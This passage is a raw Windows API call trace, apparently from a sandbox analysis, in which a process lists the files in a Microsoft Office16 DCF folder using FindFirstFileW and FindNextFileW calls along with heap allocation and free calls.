hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21276, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCompare.rdlc", cAlternateFileName="ACCESS~1.RDL")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMessageDismissal.txt", cAlternateFileName="ACCESS~1.TXT")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa82ce6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa82ce6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa853100, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.AuditItems.dll", cAlternateFileName="COMMON~4.DLL")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x87b1cd2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x87b1cd2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.ClientConfiguration.dll", cAlternateFileName="COCECA~1.DLL")) returned 1 [0235.408] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.DatabaseCore.dll", cAlternateFileName="COMMON~1.DLL")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a860, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.DatabaseServices.dll", cAlternateFileName="CO3DCE~1.DLL")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5df79a9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5df79a9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e9028c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.DBConnection.exe", cAlternateFileName="COMMON~1.EXE")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa89f599, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.DBConnection64.exe", cAlternateFileName="COMMON~2.EXE")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8dd674, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8dd674, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb9038f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x684c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.ExcelServices.dll", cAlternateFileName="CO37ED~1.DLL")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.FileUtils.dll", cAlternateFileName="COMMON~3.DLL")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf43250ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf43250ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf43e3cb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.MsoInterop.dll", cAlternateFileName="COMMON~2.DLL")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.PasswordManager.dll", cAlternateFileName="CO07E9~1.DLL")) returned 1 [0235.409] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.ShowHelp.exe", cAlternateFileName="COMMON~3.EXE")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.SqlDatabase.dll", cAlternateFileName="COF0D3~1.DLL")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4d48116, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2b460, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATABASECOMPARE.EXE", cAlternateFileName="DATABA~1.EXE")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9e0ae4d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9e0ae4d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e310c7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9060, dwReserved0=0x0, dwReserved1=0x0, cFileName="DcfMsoWrapper.dll", cAlternateFileName="DCFMSO~1.DLL")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7660, dwReserved0=0x0, dwReserved1=0x0, cFileName="DcfMsoWrapper.x86.dll", cAlternateFileName="DCFMSO~2.DLL")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e36a06, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e36a06, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e36a06, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x561718, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c47fe0a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c47fe0a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c47fe0a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="EmptyReport.rdlc", cAlternateFileName="EMPTYR~1.RDL")) returned 1 [0235.410] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0235.410] GetProcessHeap () returned 0xc10000 [0235.410] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0235.411] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Office\\Office16\\DCF\\en\\*", lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0235.414] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3201264, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3201264, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe330c311, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.AuditItems.Resources.dll", cAlternateFileName="COMMON~1.DLL")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.ClientConfiguration.Resources.dll", cAlternateFileName="COMMON~4.DLL")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe8789aa5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8789aa5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe8894afa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.ExcelServices.Resources.dll", cAlternateFileName="COMMON~2.DLL")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf2b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.FileUtils.Resources.dll", cAlternateFileName="COA5FF~1.DLL")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefdda943, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefdda943, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefdda943, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb468, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.PasswordManager.Resources.dll", cAlternateFileName="COMMON~3.DLL")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2db78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DatabaseCompare.HxS", cAlternateFileName="DATABA~1.HXS")) returned 1 [0235.415] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DatabaseCompare_col.hxc", cAlternateFileName="DATABA~1.HXC")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DatabaseCompare_col.hxt", cAlternateFileName="DATABA~1.HXT")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcae6392, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcae6392, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DatabaseCompare_f_col.hxk", cAlternateFileName="DATABA~1.HXK")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="DatabaseCompare_k_col.hxk", cAlternateFileName="DATABA~2.HXK")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed5eb1ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed5eb1ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcae6392, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36eb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetCompare.HxS", cAlternateFileName="SPREAD~1.HXS")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcae6392, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcae6392, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb0c5e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetCompare_col.hxc", cAlternateFileName="SPREAD~1.HXC")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb0c5e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb0c5e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetCompare_col.hxt", cAlternateFileName="SPREAD~1.HXT")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb58a9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb58a9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetCompare_f_col.hxk", cAlternateFileName="SPREAD~1.HXK")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetCompare_k_col.hxk", cAlternateFileName="SPREAD~2.HXK")) returned 1 [0235.416] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5a8a2df, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a8a2df, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ab054a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5860, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.Diagram.Resources.dll", cAlternateFileName="SPREAD~3.DLL")) returned 1 [0235.417] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4b3103f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4b3103f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4b3103f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe5c68, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.ExcelAddin.Resources.dll", cAlternateFileName="SPREAD~2.DLL")) returned 1 [0235.417] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5270, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.ExcelServices.Resources.dll", cAlternateFileName="SPREAD~1.DLL")) returned 1 [0235.417] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1814809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5270, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpreadsheetIQ.ExcelServices.Resources.dll", cAlternateFileName="SPREAD~1.DLL")) returned 0 [0235.417] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0235.419] GetProcessHeap () returned 0xc10000 [0235.419] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0235.419] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2c4a611d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2c4a611d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c4a611d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMessageDismissal.txt", cAlternateFileName="EXCELM~1.TXT")) returned 1 [0235.419] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x520cca6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x520cca6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5259176, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="filecompare.exe", cAlternateFileName="FILECO~1.EXE")) returned 1 [0235.419] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5e520 | out: lpFindFileData=0x2e5e520*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, 